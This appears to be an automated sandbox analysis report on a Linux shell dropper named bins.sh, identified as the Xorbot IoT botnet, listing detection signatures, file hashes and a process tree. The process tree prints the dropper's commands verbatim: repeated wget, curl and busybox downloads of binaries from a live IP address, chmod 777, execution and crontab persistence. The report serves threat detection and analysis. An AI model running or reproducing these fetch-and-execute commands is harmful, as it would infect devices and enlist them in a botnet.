Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/11/2024, 01:40

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    54298eb7fa7e229d5f14bd984a061988

  • SHA1

    4bef8f4344ac56b0a3e9ced6b7e219ec17d3e180

  • SHA256

    b6f1813eb89b53822bc7f914ab0ec6b3cf4434292e98c8cc3422b4c6f2b60f8d

  • SHA512

    c74e2aedf14c550d45d98dd011e4e083a341e0d505d50f48e260b04dcc0c4bd715989ed0e9d140f5c9a3659707368236b4d09c41e3743e781806db802c2e298d

  • SSDEEP

    96:/JZhtD+DcDkDmDvDrDZoCOfLlIUzF7UeQx8v+DcDkDmDvDrDwKHiffLlIUzxzEv0:xZhtD+ooS7/Foh5AmmooS7/qyu

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1901) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Writes file to tmp directory
          PID:670
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          ./1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:740
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:742
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:743
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:744
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:745
              • /bin/rm
                rm 1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1
                2⤵
                  PID:747
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                  2⤵
                    PID:750
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                    2⤵
                      PID:751
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                      2⤵
                      • Writes file to tmp directory
                      PID:752
                    • /bin/chmod
                      chmod 777 jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                      2⤵
                      • File and Directory Permissions Modification
                      PID:753
                    • /tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                      ./jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                      2⤵
                      • Executes dropped EXE
                      PID:754
                    • /bin/rm
                      rm jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn
                      2⤵
                        PID:755
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                        2⤵
                          PID:756
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                          2⤵
                            PID:760
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                            2⤵
                            • Writes file to tmp directory
                            PID:792
                          • /bin/chmod
                            chmod 777 seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                            2⤵
                            • File and Directory Permissions Modification
                            PID:856
                          • /tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                            ./seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                            2⤵
                            • Executes dropped EXE
                            PID:857
                          • /bin/rm
                            rm seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD
                            2⤵
                              PID:860
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                              2⤵
                                PID:862
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                                2⤵
                                  PID:863
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:866
                                • /bin/chmod
                                  chmod 777 MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:874
                                • /tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                                  ./MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                                  2⤵
                                  • Executes dropped EXE
                                  PID:876
                                • /bin/rm
                                  rm MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP
                                  2⤵
                                    PID:877
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                    2⤵
                                      PID:878
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                      2⤵
                                        PID:880
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:882
                                      • /bin/chmod
                                        chmod 777 fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:885
                                      • /tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                        ./fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                        2⤵
                                        • Executes dropped EXE
                                        PID:886
                                      • /bin/rm
                                        rm fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1
                                        2⤵
                                          PID:887
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                          2⤵
                                            PID:888
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                            2⤵
                                            • Checks CPU configuration
                                            PID:889
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:890
                                          • /bin/chmod
                                            chmod 777 XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:905
                                          • /tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                            ./XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                            2⤵
                                            • Executes dropped EXE
                                            PID:906
                                          • /bin/rm
                                            rm XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v
                                            2⤵
                                              PID:908
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                              2⤵
                                                PID:909
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                                2⤵
                                                • Checks CPU configuration
                                                PID:910
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:911
                                              • /bin/chmod
                                                chmod 777 LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:934
                                              • /tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                                ./LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                                2⤵
                                                • Executes dropped EXE
                                                PID:935
                                              • /bin/rm
                                                rm LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG
                                                2⤵
                                                  PID:937
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                  2⤵
                                                    PID:938
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                    2⤵
                                                      PID:939
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:944
                                                    • /bin/chmod
                                                      chmod 777 9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:945
                                                    • /tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                      ./9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:946
                                                    • /bin/rm
                                                      rm 9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7
                                                      2⤵
                                                        PID:948
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/bq5UXFy8ZP5rQaOPdt8QWI2TOv7PSdxIio
                                                        2⤵
                                                          PID:953

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/1yumZyRPlzlpXAH4T5Gil6jZmdesHftBC1

                                                        Filesize

                                                        177KB

                                                        MD5

                                                        786d75a158fe731feca3880f436082c0

                                                        SHA1

                                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                        SHA256

                                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                        SHA512

                                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                      • /tmp/9vgmikvpDbqfyb4cK9FVmtxEijAEFTcAO7

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                        SHA1

                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                        SHA256

                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                        SHA512

                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                      • /tmp/LOuPmveJ7X0vZLPXkrHiluaOYAPpYPeUeG

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        6c583043d91c55aa470c08c87058e917

                                                        SHA1

                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                        SHA256

                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                        SHA512

                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                      • /tmp/MSEG58Ao7K0XbqfbTAMBNZsbXWqoNMaheP

                                                        Filesize

                                                        117KB

                                                        MD5

                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                        SHA1

                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                        SHA256

                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                        SHA512

                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                      • /tmp/XVbP57aLBqIZpRsQ9vxG8rsHAjWVMZsC7v

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                        SHA1

                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                        SHA256

                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                        SHA512

                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                      • /tmp/fExhjU2e7OGnfebjfxSKmr0Xf3LUYjQas1

                                                        Filesize

                                                        119KB

                                                        MD5

                                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                                        SHA1

                                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                        SHA256

                                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                        SHA512

                                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                      • /tmp/jQ4pCNbN5LxcDJLCZvPXPrl1ZjwHvfHxDn

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /tmp/seYVGgU7lYYTroa7Ptxs1Yc9ac4Dng9xuD

                                                        Filesize

                                                        122KB

                                                        MD5

                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                        SHA1

                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                        SHA256

                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                        SHA512

                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                      • /var/spool/cron/crontabs/tmp.oF5THy

                                                        Filesize

                                                        210B

                                                        MD5

                                                        094588060149f5ed3dfe49ee24da8f26

                                                        SHA1

                                                        495ad5b4826b8ed749b4d267369547e861ebea1b

                                                        SHA256

                                                        3babc94554f0d2361eb759b64f607c8e600687b1efb3ee7a96007cfc2f825de3

                                                        SHA512

                                                        9093db5db7ad205b5160d36d666d98dcdbdca42e36d52a309c37135f949f681614923a2db556306a8e33e2ccaad803b1ccdef9320aaf122f420dd49f11d32e65